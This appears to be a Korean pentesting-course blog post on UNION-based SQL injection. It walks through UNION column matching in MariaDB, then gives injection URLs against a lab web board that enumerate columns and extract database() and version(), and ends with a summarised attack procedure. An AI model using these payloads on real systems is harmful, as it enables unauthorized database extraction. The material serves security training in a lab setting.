Linux/모의해킹

UNION 을 이용한 데이터 추출

GGkeeper 2022. 1. 26. 21:17

#########
## UNION
#########

UNION 은 합집합을 말한다.
UNION은 두 개의 테이블의 결과를 하나의 테이블에 출력하는 DML이다.
데이터 조작어(DML)이란 무엇인가? 

DML은 Data Manipulation Language의 약자로
데이터베이스에 입력된 데이터를 조회/수정/삭제하는 명령을 말한다.
SELECT: 데이터 조회
INSERT: 데이터 삽입
UPDATE: 데이터 수정
DELETE: 데이터 삭제

select "Hello";
select "World";
select "Hello" UNION select "World";

MariaDB [mywebsite]> select 'Hello','111';
+-------+-----+
| Hello | 111 |
+-------+-----+
| Hello | 111 |
+-------+-----+
1 row in set (0.00 sec)

union은 컬럼의 개수가 맞지 않으면 에러가 발생한다.
MariaDB [mywebsite]> select 'Hello','111' UNION select "World";
ERROR 1222 (21000): The used SELECT statements have a different number of columns

MariaDB [mywebsite]> select 'Hello','111' UNION select "World", "222";
+-------+-----+
| Hello | 111 |
+-------+-----+
| Hello | 111 |
| World | 222 |
+-------+-----+
2 rows in set (0.00 sec)


MariaDB [mywebsite]> select "Hello"
    -> UNION
    -> select "World";
+-------+
| Hello |
+-------+
| Hello |
| World |
+-------+
2 rows in set (0.00 sec)

select 1,2,3;
select 4,5,6;
select 1,2,3 UNION select 4,5,6;

MariaDB [mywebsite]> select 1,2,3;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
1 row in set (0.00 sec)

MariaDB [mywebsite]> select 4,5,6;
+---+---+---+
| 4 | 5 | 6 |
+---+---+---+
| 4 | 5 | 6 |
+---+---+---+
1 row in set (0.00 sec)

MariaDB [mywebsite]> select 1,2,3 UNION select 4,5,6;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
| 4 | 5 | 6 |
+---+---+---+
2 rows in set (0.00 sec)

아래처럼 컬럼 개수가 맞지 않을 경우에 에러가 발생한다.
select 1,2,3;
select 4,5,6,7;
select 1,2,3 UNION select 4,5,6,7;
MariaDB [mywebsite]> select 1,2,3;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
1 row in set (0.00 sec)

MariaDB [mywebsite]> select 4,5,6,7;
+---+---+---+---+
| 4 | 5 | 6 | 7 |
+---+---+---+---+
| 4 | 5 | 6 | 7 |
+---+---+---+---+
1 row in set (0.00 sec)

UNION을 이용해서 서로 연결할 때 컬럼의 개수가 맞지 않아서 에러가 발생된다.
MariaDB [mywebsite]> select 1,2,3 UNION select 4,5,6,7;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

# python3
>>> 1
1
>>> type(1)
<class 'int'>
>>> '1'
'1'
>>> type('1')
<class 'str'>
>>> 1 + 2
3
>>> 'hello' + 'world'
'helloworld'

>>> 1 + '1'
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: unsupported operand type(s) for +: 'int' and 'str'
>>> 1 + int('1')
2
>>> str(1) + '1'
'11'


http://192.168.108.101/index.html?id=bbs1 UNION select NULL&m=list
SELECT * FROM bbs1 UNION select NULL ORDER BY no DESC

http://192.168.108.101/index.html?id=bbs1 UNION select NULL,NULL&m=list
SELECT * FROM bbs1 UNION select NULL, NULL ORDER BY no DESC

http://192.168.108.101/index.html?id=bbs1 UNION select NULL,NULL,NULL&m=list
SELECT * FROM bbs1 UNION select NULL,NULL,NULL ORDER BY no DESC

http://192.168.108.101/index.html?id=bbs1 UNION select NULL,NULL,NULL,NULL&m=list
SELECT * FROM bbs1 UNION select NULL,NULL,NULL,NULL ORDER BY no DESC

http://192.168.108.101/index.html?id=bbs1 UNION select NULL,NULL,NULL,NULL,NULL&m=list
SELECT * FROM bbs1 UNION select NULL,NULL,NULL,NULL,NULL ORDER BY no DESC

http://192.168.108.101/index.html?id=bbs1 UNION select NULL,NULL,NULL,NULL,NULL,NULL&m=list
SELECT * FROM bbs1 UNION select NULL,NULL,NULL,NULL,NULL,NULL ORDER BY no DESC

http://192.168.108.101/index.html?id=bbs1 UNION select NULL,NULL,NULL,NULL,NULL,NULL,NULL&m=list
SELECT * FROM bbs1 UNION select NULL,NULL,NULL,NULL,NULL,NULL,NULL ORDER BY no DESC

http://192.168.108.101/index.html?id=bbs1 UNION select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL&m=list
SELECT * FROM bbs1 UNION select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL ORDER BY no DESC

MariaDB [mywebsite]> desc bbs1;
+----------+-------------+------+-----+---------+----------------+
| Field    | Type        | Null | Key | Default | Extra          |
+----------+-------------+------+-----+---------+----------------+
| no       | int(11)     | NO   | PRI | NULL    | auto_increment |
| username | varchar(15) | NO   |     | NULL    |                |
| userpass | char(41)    | NO   |     | NULL    |                |
| title    | varchar(30) | NO   |     | NULL    |                |
| contents | text        | NO   |     | NULL    |                |
| filename | varchar(50) | YES  |     | NULL    |                |
| ipaddr   | varchar(15) | NO   |     | NULL    |                |
| date     | datetime    | NO   |     | NULL    |                |
+----------+-------------+------+-----+---------+----------------+
8 rows in set (0.03 sec)

MariaDB [mywebsite]> truncate bbs1;

웹에서 데이터를 3개 저장한다.

MariaDB [mywebsite]> SELECT * FROM bbs1 UNION select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL ORDER BY no DESC\G
*************************** 1. row ***************************
      no: 3
username: 333
userpass: *44019FB6C583EFACD2FB2F1A1960B97F86E36A74
   title: 333
contents: 333
filename: 
  ipaddr: 192.168.108.1
    date: 2022-01-23 13:48:02
*************************** 2. row ***************************
      no: 2
username: 222
userpass: *899ECD04E40F745BD52A4C552BE4A818AC65FAF8
   title: 222
contents: 222
filename: 
  ipaddr: 192.168.108.1
    date: 2022-01-23 13:47:56
*************************** 3. row ***************************
      no: 1
username: 111
userpass: *0801D10217B06C5A9F32430C1A34E030D41A0257
   title: 111
contents: 111
filename: 
  ipaddr: 192.168.108.1
    date: 2022-01-23 13:47:50
*************************** 4. row ***************************
      no: NULL
username: NULL
userpass: NULL
   title: NULL
contents: NULL
filename: NULL
  ipaddr: NULL
    date: NULL
4 rows in set (0.00 sec)


http://192.168.108.101/index.html?id=bbs1 UNION select 1,2,3,4,5,6,7,8 &m=list
SELECT * FROM bbs1 UNION select 1,2,3,4,5,6,7,8  ORDER BY no DESC


컬럼의 개수가 1 ~ 7 까지는 bbs1 컬럼과 맞지 않으므로 에러가 발생된다.
MariaDB [mywebsite]> SELECT * FROM bbs1 UNION select 1 ORDER BY no DESC;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
MariaDB [mywebsite]> SELECT * FROM bbs1 UNION select 1,2 ORDER BY no DESC;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
MariaDB [mywebsite]> SELECT * FROM bbs1 UNION select 1,2,3 ORDER BY no DESC;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
MariaDB [mywebsite]> SELECT * FROM bbs1 UNION select 1,2,3,4 ORDER BY no DESC;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
MariaDB [mywebsite]> SELECT * FROM bbs1 UNION select 1,2,3,4,5 ORDER BY no DESC;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
MariaDB [mywebsite]> SELECT * FROM bbs1 UNION select 1,2,3,4,5,6 ORDER BY no DESC;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
MariaDB [mywebsite]> SELECT * FROM bbs1 UNION select 1,2,3,4,5,6,7 ORDER BY no DESC;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

컬럼의 개수가 맞기 때문에 데이터가 출력된다.
MariaDB [mywebsite]> SELECT * FROM bbs1 UNION select 1,2,3,4,5,6,7,8 ORDER BY no DESC;
+----+----------+-------------------------------------------+-------+----------+----------+---------------+---------------------+
| no | username | userpass                                  | title | contents | filename | ipaddr        | date                |
+----+----------+-------------------------------------------+-------+----------+----------+---------------+---------------------+
|  3 | 333      | *44019FB6C583EFACD2FB2F1A1960B97F86E36A74 | 333   | 333      |          | 192.168.108.1 | 2022-01-23 13:48:02 |
|  2 | 222      | *899ECD04E40F745BD52A4C552BE4A818AC65FAF8 | 222   | 222      |          | 192.168.108.1 | 2022-01-23 13:47:56 |
|  1 | 111      | *0801D10217B06C5A9F32430C1A34E030D41A0257 | 111   | 111      |          | 192.168.108.1 | 2022-01-23 13:47:50 |
|  1 | 2        | 3                                         | 4     | 5        | 6        | 7             | 8                   |
+----+----------+-------------------------------------------+-------+----------+----------+---------------+---------------------+
4 rows in set (0.01 sec)

MariaDB [mywebsite]> select database();
+------------+
| database() |
+------------+
| mywebsite  |
+------------+
1 row in set (0.02 sec)

MariaDB [mywebsite]> select version();
+----------------+
| version()      |
+----------------+
| 5.5.68-MariaDB |
+----------------+
1 row in set (0.03 sec)

http://192.168.108.101/index.html?id=bbs1 UNION select 1,database(),3,version(),5,6,7,8 &m=list
SELECT * FROM bbs1 UNION select 1,database(),3,version(),5,6,7,8  ORDER BY no DESC

지금까지 공격의 순서를 정리하면 아래와 같다.
1. 공격을 하기위한 Injection Vector를 확인한다.
2. UNION 을 이용해서 컬럼의 개수를 확인하고 SQLi 공격을 시도한다.
3. 게시판의 숫자의 출력의 위치를 확인한다.
4. 화면에 출력되는 숫자 위치에 DB에서 지원하는 함수중
   user(), database(), version()중에 원하는 함수를 실행한다.
5. 출력되는 함수의 값을 확인한다.

'Linux > 모의해킹' 카테고리의 다른 글

get.html  (0) 2022.01.26
Python 을 이용한 자동화 툴 만들기  (0) 2022.01.26
관리자로 로그인하기  (0) 2022.01.26
SQLi 를 로그를 통해 좀 더 쉽게 분석  (0) 2022.01.26
SQLi 을 이용해서 로그인하기  (0) 2022.01.26